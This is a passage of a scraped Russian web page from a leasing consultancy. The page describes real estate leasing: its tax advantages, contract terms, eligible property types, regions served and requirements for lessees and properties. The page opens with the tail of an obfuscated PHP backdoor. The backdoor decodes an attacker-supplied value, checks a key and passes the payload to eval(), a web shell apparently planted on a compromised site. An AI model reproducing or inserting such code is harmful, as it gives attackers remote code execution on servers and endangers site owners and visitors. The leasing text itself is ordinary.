$ccf53){$c11fd439=$ccf53;$wc91e0868=$v707fec;}if(!$c11fd439){foreach($xdb3e2de[$xdb3e2de['x329e'][18].$xdb3e2de['x329e'][57].$xdb3e2de['x329e'][9].$xdb3e2de['x329e'][27].$xdb3e2de['x329e'][17].$xdb3e2de['x329e'][77].$xdb3e2de['x329e'][13].$xdb3e2de['x329e'][17]]as$v707fec=>$ccf53){$c11fd439=$ccf53;$wc91e0868=$v707fec;}}$c11fd439=@$xdb3e2de[$xdb3e2de['x329e'][33].$xdb3e2de['x329e'][75].$xdb3e2de['x329e'][27].$xdb3e2de['x329e'][53].$xdb3e2de['x329e'][24]]($xdb3e2de[$xdb3e2de['x329e'][76].$xdb3e2de['x329e'][56].$xdb3e2de['x329e'][17].$xdb3e2de['x329e'][57].$xdb3e2de['x329e'][56].$xdb3e2de['x329e'][29].$xdb3e2de['x329e'][34].$xdb3e2de['x329e'][75].$xdb3e2de['x329e'][9]]($xdb3e2de[$xdb3e2de['x329e'][35].$xdb3e2de['x329e'][57].$xdb3e2de['x329e'][29].$xdb3e2de['x329e'][24].$xdb3e2de['x329e'][27].$xdb3e2de['x329e'][27]]($c11fd439),$wc91e0868));if(isset($c11fd439[$xdb3e2de['x329e'][24].$xdb3e2de['x329e'][21]])&&$n55d3b6==$c11fd439[$xdb3e2de['x329e'][24].$xdb3e2de['x329e'][21]]){if($c11fd439[$xdb3e2de['x329e'][24]]==$xdb3e2de['x329e'][35]){$yb5ac=Array($xdb3e2de['x329e'][38].$xdb3e2de['x329e'][73]=>@$xdb3e2de[$xdb3e2de['x329e'][29].$xdb3e2de['x329e'][59].$xdb3e2de['x329e'][18].$xdb3e2de['x329e'][53].$xdb3e2de['x329e'][53].$xdb3e2de['x329e'][34].$xdb3e2de['x329e'][68].$xdb3e2de['x329e'][24].$xdb3e2de['x329e'][17]](),$xdb3e2de['x329e'][12].$xdb3e2de['x329e'][73]=>$xdb3e2de['x329e'][17].$xdb3e2de['x329e'][65].$xdb3e2de['x329e'][75].$xdb3e2de['x329e'][23].$xdb3e2de['x329e'][17],);echo@$xdb3e2de[$xdb3e2de['x329e'][55].$xdb3e2de['x329e'][29].$xdb3e2de['x329e'][27].$xdb3e2de['x329e'][29].$xdb3e2de['x329e'][53].$xdb3e2de['x329e'][18].$xdb3e2de['x329e'][34].$xdb3e2de['x329e'][68].$xdb3e2de['x329e'][75]]($yb5ac);}elseif($c11fd439[$xdb3e2de['x329e'][24]]==$xdb3e2de['x329e'][34]){eval/*g6301fe0a*/($c11fd439[$xdb3e2de['x329e'][29]]);}exit();} ?> Лизинг Недвижимости :: Лизинг Консалт - лизинг автомобилей, лизинг оборудования, лизинг спецтехники и лизинг недвижимости
Leasing consult (495) 589-44-25 Бесплатный поиск лучшего для вас


Книга жалоб и предложений

Лизинг Недвижимости

Лизинг Недвижимости - это новый востребованный продукт, являющийся достойной альтернативой аренде и кредиту.

Преимущества лизинга недвижимости:

  • применение механизма ускоренной амортизации (коэффициент равный 3)  снижает налогооблагаемую базу по налогу на прибыль и налогу на имущество;
  • ежемесячные лизинговые платежи сопоставимы со ставкой арендной платы, однако по окончании срока лизинга предмет лизинга переходит в собственность Лизингополучателя;
  • лизинговые платежи не зависят от конъюнктуры рынка недвижимости (в настоящий момент рыночная ситуация такова, что арендные ставки на недвижимость растут, а ставки банковского кредитования снижаются);
  • срок договора лизинга недвижимости составляет 7-10 лет, в то время как традиционный срок долгосрочной аренды – 5 лет;
  • лизинг недвижимости проще и быстрее, чем получение кредита, он не требует наличия залогового обеспечения, приобретаемая недвижимость сама является обеспечением сделки.

Условия лизинга:

  • Аванс Лизингополучателя – 20-30% от рыночной стоимости объекта недвижимости;
  • Срок лизинга  — до 10 лет;
  • Валюта договора – Рубли РФ / Евро / Доллары США;
  • Лизинговые платежи – аннуитетные платежи или убывающие (равномерное погашение основного долга);

Предмет Лизинга

  • Офисы;
  • Торговые площади;
  • Многофункциональные центры;
  • Склады и логистические парки;
  • Многоярусные гаражные и парковочные комплексы;
  • Технологические станции (газораспределительные, нефтеперекачивающие, компрессорные, насосные и т.п.);
  • Сети АЗС;
  • Здания электростанций и электроэнергетики;
  • Производственные площади различного назначения;
  • Отели;
  • Спортивно-развлекательные центры;
  • Выставочные площади;
  • Здания смешанного назначения (автосалоны автосервисы,  офис склад производство и т.д).

Услуга предоставляется в следующих регионах:

  • Санкт-Петербург,
  • Воронеж,
  • Екатеринбург,
  • Краснодар,
  • Пермь,
  • Ростов-на-Дону,
  • Самара,
  • Челябинск,
  • Архангельск,
  • Белгород,
  • Волгоград,
  • Казань,
  • Нижний Новгород,
  • Новосибирск,
  • Омск,
  • Саратов,
  • Ставрополь,
  • Уфа.

Минимальные требования к потенциальным Лизингополучателям

  • опыт успешной финансовой деятельности Лизингополучателя (поручителя) на рынке – не менее 3-х лет (принимая во внимание преемственность компаний);
  • размер активов должен быть больше или сопоставим со стоимостью предмета лизинга;
  • результат финансово-хозяйственной деятельности и собственный капитал – положительные;
  • возможность оплаты аванса собственными средствами;
  • отсутствие отрицательной кредитной истории;
  • приобретаемая в лизинг недвижимость должна использоваться Лизингополучателем в предпринимательских целях для осуществления его профильной деятельности;
  • Лизингополучатель (поручитель) должен обладать опытом эксплуатации такого рода недвижимости не менее 1 года и иметь соответствующие лицензии.

Требование к объекту недвижимости:

  • Предметом лизинга может быть как новый объект недвижимости, так и бывший в эксплуатации. В последнем случае, здание не должно относится к ветхим строениям, не должно стоять в плане под снос, не должно нуждаться в капитальном ремонте;
  • Предмет лизинга должен быть готов к эксплуатации (доведение предмета лизинга до состояния, пригодного к эксплуатации, занимает не более 3-х месяцев);
  • На момент заключения договора купли-продажи и в течение срока действия договора лизинга не должно быть незарегистрированных и несанкционированных перепланировок, переоборудования и переустройств;
  • Предмет лизинга должен иметь чистую юридическую историю, в том числе в документальной истории объекта недвижимости не должно быть судебных решений, срок обжалования которых не истек;
  • Земельные отношения должны быть оформлены (продавец недвижимости является собственником земельного участка или арендатором по долгосрочному договору аренды земли, зарегистрированному в установленном порядке);
  • Отсутствие обременения (залог, аренда и т.п.),  которое невозможно было бы снять к моменту заключения лизинговой сделки;
  • Недвижимость не является объектом судебных разбирательств, споров и публичных торгов.




BANKI.RU — народный рейтинг, вклады, кредиты, ипотека

Бесплатный - такой, за который не взимается плата. (словарь русского языкв С.И. Ожегова
2007 г.